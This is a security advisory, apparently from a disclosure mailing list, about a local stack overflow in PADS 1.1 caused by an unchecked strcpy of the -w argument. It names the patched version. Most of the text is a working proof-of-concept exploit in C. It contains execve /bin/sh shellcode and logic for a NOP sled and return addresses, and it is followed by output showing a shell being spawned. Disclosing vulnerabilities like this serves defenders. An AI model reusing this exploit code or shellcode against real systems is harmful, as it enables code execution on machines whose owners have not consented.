[UNIX] PADS Simple Stack Overflow

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  PADS Simple Stack Overflow
------------------------------------------------------------------------


SUMMARY

" <http://passive.sourceforge.net/> PADS is a signature based detection 
engine used to passively detect network assets. It is designed to 
complement IDS technology by providing context to IDS alerts."

A simple stack overflow exists in PADS when handling the 'w' command line 
argument.

DETAILS

Vulnerable Systems:
 * PADS version 1.1 and prior

Immune Systems:
 * PADS version 1.1.1 or newer

PADS is vulnerable to a buffer overflow when handling the 'w' command line 
argument which is used to specify to which file the report should be 
written to. There is no bounds checking whatsoever and the optional 
argument of the filename is copied directly to a fixed-length buffer using 
strcpy(). The piece of relevant code is located at the pads.c file:
.....

char report_file[255] = "assets.csv";

........

case 'w':
       strcpy(report_file, optarg);
       break;
...........

Vendor Status:
The author of the program was informed and a fix is available, upgrade to 
version 1.1.1.

A proof of concept exploit is also provided:
/*
 lazy mans exploit
 i make no guarantees this will exploit anything, the exploit itself was 
coded sloppy
 ChrisR-
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

// typical shellcode to spawn a shell, this can be replaced
char shellcode[] = 
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
                   
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
                   
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
                   "\x68";

unsigned int sp(void)
{__asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char *buffer, *ptr;
    int buff_size, nop_size;
    char prog_path[255];
    char prog_name[255];
    char prog_arg[255];

if (argc > 1)
{
printf("\nUsage: %s And enter the values\n",argv[0]);
printf("%s is a tool to aide automate local stack overflow testing. You 
may need to change the code to fit your needs"
       "there is no way to guarntee automation in the exploitation 
process, except for basic examples.\n\n",argv[0]);
printf("chris @ www.cr-secure.net\n\n");
return 0;
}

printf("Please enter the values as requested . . .\n");
printf("Enter the vulnerable program path: ", prog_path);
    scanf("%s", prog_path);
printf("Enter the vulnerable program name: ", prog_name);
    scanf("%s", prog_name);
/****if no args req. comment out the next line and the one below that and 
fix execl()****/
printf("Enter any arguments the program requires: ", prog_arg);
    scanf("%s", prog_arg);
printf("Enter an offset: ");
    scanf("%d", &offset);
printf("Enter a buffer size: ");
    scanf("%d", &buff_size);
printf("Enter the nop sled size: ");
    scanf("%d", &nop_size);

    esp = sp();
    ret = esp - offset;

    printf("\nThe Return Value Is: 0x%x\n", ret);

    buffer = malloc(buff_size);

    ptr = buffer;
    addr_ptr = (long *)ptr;

    for (i = offset; i < buff_size; i+=4)
            *(addr_ptr++) = ret;

    for ( i = offset; i < nop_size; i++)
        buffer[i] = '\x90';

    ptr = buffer + nop_size;

    for ( i = offset; i < strlen(shellcode); i++)
            *(ptr++) = shellcode[i];

    buffer[buff_size] = 0;

    printf("Injecting Shellcode . . .\n\n");

    execl(prog_path, prog_name, prog_arg, buffer, 0);
    free(buffer);

    return 0;
}


Output:
/> ex_bof
Please enter the values as requested . . .
Enter the vulnerable program path: pads
Enter the vulnerable program name: pads
Enter any arguments the program requires: -w
Enter an offset: 0
Enter a buffer size: 600
Enter the nop sled size: 400

The Return Value Is: 0xbffff8b8
Injecting Shellcode . . .

pads - Passive Asset Detection System
v1.1 - 08/14/04
Matt Shelton 

sh-3.00$ id
uid=1000(chris) gid=1000(chris)
groups=20(dialout),24(cdrom),25(floppy),1000(chris)
sh-3.00$


ADDITIONAL INFORMATION

The information has been provided by  <mailto:chris@cr-secure.net> 
ChrisR-.



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